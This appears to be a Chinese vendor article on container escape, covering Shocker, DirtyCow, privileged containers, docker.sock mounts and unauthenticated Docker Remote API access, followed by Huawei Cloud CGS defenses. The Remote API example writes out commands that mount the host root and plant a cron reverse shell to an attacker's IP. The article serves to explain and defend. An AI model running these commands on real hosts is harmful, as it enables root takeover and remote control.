随着云原生技术的成熟和市场需求的升级,云计算的发展已步入新的阶段,云原生2.0时代已经到来。从技术角度看,以容器、微服务以及动态编排为代表的云原生技术蓬勃发展,成为赋能业务创新的重要推动力,并已经应用到企业核心业务。从市场角度看,云原生技术已在金融、制造、互联网等多个行业得到广泛验证,支持的业务场景也愈加丰富,行业生态日渐繁荣。云原生2.0是企业智能升级的新阶段,企业云化从“ON Cloud”走向“IN Cloud”,新生能力与既有能力有机协同、立而不破,实现资源高效、应用敏捷、业务智能、安全可信,成为“新云原生企业”。
云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。
传统的虚拟机能够基于虚拟化技术更加有效的利用硬件计算资源,可以实现云租户的隔离与资源共享。相比虚拟机来说,容器更轻、更快,但是作为一种新技术,容器的安全防护也与虚拟机所有不同。
容器 VS 虚拟机
容器与虚拟机具有相似的资源隔离和分配价值,但容器的作用不同,因为容器是虚拟化操作系统而不是硬件。容器更便携,更高效。
容器VS虚拟机
虚拟机(VM)是对物理硬件的抽象,将一台服务器转化为多台服务器。Hypervisor允许在一台机器上运行多个虚拟机。每个虚拟机都包含操作系统、应用程序、必要的二进制文件和库的完整副本,占用数十GB的空间,虚拟机启动速度也比较慢。
容器是应用程序层的一个抽象,将代码和依赖打包在一起。多个容器可以运行在同一台机器上,与其他容器共享操作系统内核,每个容器在用户空间中作为隔离的进程运行。容器比虚拟机占用更少的空间(容器镜像通常只有几十MB大小),可以处理更多的应用程序。
容器逃逸
容器逃逸,是容器技术启用以来一直被关注的问题,甚至被认为是容器的首要安全问题。所谓“逃逸”,指的是“流氓”容器/虚拟机尝试突破隔离环境的限制,访问宿主系统或者在同一个系统上的同驻容器或虚拟机。从而造成敏感信息泄露,或者系统及服务发生DOS的行为。
但正是由于容器与宿主系统共享内核,因此容器与宿主机有着更大的接触面,隔离层次更少,更容易从容器内实施逃逸攻击。因此,如何解决容器逃逸安全风险,避免容器逃逸攻击带来的损失是容器安全中最为重要的一个问题。
容器逃逸常用手段
通过容器自身漏洞及内核漏洞逃逸
攻击的主要途径之一就是利用漏洞,通过程序设计或实现的缺陷来执行非法操作,容器逃逸也不例外。容器自身漏洞是其利用进行逃逸的路径之一,同时由于容器共享宿主系统内核,因此内核漏洞是其逃逸的另一路径,同时由于内核漏洞的数量远远大于容器自身漏洞,因此内核漏洞甚至成为容器逃逸更为主要的一个手段。
利用容器漏洞逃逸 – shocker攻击
Shocker攻击是容器逃逸最著名的案例,其本质是利用了一个不常用的系统调用open_by_handle_at,同时借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力,并将容器启动时会挂载宿主机文件到容器内(如旧版本的/.dockerinit,新版本的/etc/hosts)作为起点,执行暴力破解攻击,最终获取到要访问的宿主系统文件的句柄信息并进行读取,从而实现逃逸。
Github地址:https://github.com/gabrtv/shocker
容器执行shocker攻击逃逸访问宿主系统/etc/shadow文件:
内核漏洞利用逃逸 – dirtycow攻击
DirtyCow(脏牛漏洞,CVE-2016-5195)是Linux内核中的一个权限提升漏洞,其也可被容器利用实施逃逸。容器利用dirtycow漏洞改写虚拟动态共享库VDSO(Virtual Dynamically Shared Objec),并将shellcode置入其中,当主机系统进程调用并执行修改后的内容时,就会借用此进程身份执行置入的shellcode,并最终在容器内获得一个来自主机的root权限的shell。
不安全配置引发逃逸
不安全启动,如privileged特权容器
容器以--privileged参数启动时称为特权容器,特权容器顾名思义具有较高权限,包括对宿主机上的设备的访问权限。因此,攻击者可以直接在容器内mount主机设备并进行文件访问,从而轻而易举实现逃逸。
不安全挂载,如挂载docker.sock到容器
Docker.sock文件是一个Unix domain socket文件,是Docker daemon默认监听的套接字文件,docker client通过它与docker daemon进行通信。docker client将信息查询和下发命令等请求通过docker.sock发给docker daemon,然后由deamon执行具体请求,包括镜像查询、容器创建等。
将docker.sock挂载到容器内,可以在容器内继续运行一个容器,实现docker in docker,并可在容器内容器启动时通过-v参数将宿主机根目录挂载到容器内,从而在容器内访问宿主机文件,实现逃逸。
Docker remote api未授权访问
默认情况下,docker daemon只允许通过unix domain socket – docker.sock进行本地通信操作,但除此之外,docker daemon也提供了Restful API供远端client访问(daemon通过-H参数指定监听端口),如果未对访问进行权限控制及合规性检查,则攻击者也可以访问这个API执行高危操作,并实施逃逸攻击。
例如一种攻击场景:
通过Remote API创建一个容器,并将宿主系统根目录挂载到容器内:
# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash
其中:$IP表示docker daemon服务ip,$PORT表示Remote API监听端口
将反弹shell命令写入计划任务文件
# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root
其中:$IP表示攻击端IP,$PROT表示攻击端监听端口
攻击端监听上一步中的$PORT端口,获取来自对端(docker服务所在系统)的具有root权限得反弹shell,并任意访问。
华为云容器安全服务CGS之逃逸安全防护方案
华为云容器安全服务CGS
华为云容器安全服务CGS构建了容器安全威胁纵深防御体系,提供包括镜像扫描、威胁检测与威胁防护的一整套容器安全能力,提供针对容器的Build、Ship、Run全生命周期保护能力,渗透到整个容器DevOps流程,保证容器虚拟环境从开发到生产整个流程的安全。其中,容器逃逸检测是CGS的核心功能之一,它通过如下手段构建系统化的容器逃逸全面防护能力:
监控容器不安全配置启动
前文中提到,不安全配置是容器逃逸的一个重要原因。因此,监控容器的不安全启动也是容器逃逸防护的一个重要手段。CGS可以针对容器启动的各种不安全配置进行监控,包括启动特权容器、挂载宿主机文件、安全策略关闭、特权端口映射等,从容器创建伊始就检测逃逸风险,实现整体防护方案第一步。
容器行为深度分析
容器启动后,CGS可对容器运行过程中的行为进行实时跟踪和观察,监控容器内的进程运行、文件访问、网络连接、系统调用等行为,并对行为进行深度分析,从行为过程体现出来的特征到行为所产生的结果进行全面分析检测,有效发现容器已知和未知漏洞利用逃逸攻击行为并进行告警。
容器基线机器学习
一般而言,容器的行为通常固定且纯粹,比如一个提供web服务的容器内可能只会运行一个nginx进程,一个提供DB服务的容器内可能只会运行一个mysql进程,并且进程所执行的操作,包括文件访问、系统调用、网络连接等行为都有固定合理范围,因此可以对容器圈定正常行为范围,构建行为基线。CGS利用机器学习技术,从静态和动态两个维度分析容器正常行为并建立基线,使得基线模型更准确、更完整,然后根据基线跟踪容器行为,感知基线以外的异常行为,实现对攻击行为的全面感知,并有效提升对于容器利用0day漏洞进行逃逸攻击的检测能力。
华为云CGS容器逃逸方案防护机制内置在防护平台,无需用户参与即可实现容器逃逸系统化检测,具有良好的易用性,同时方案采用事件驱动机制实现性能高、反应快,为容器安全保驾护航。
转载请注明出处。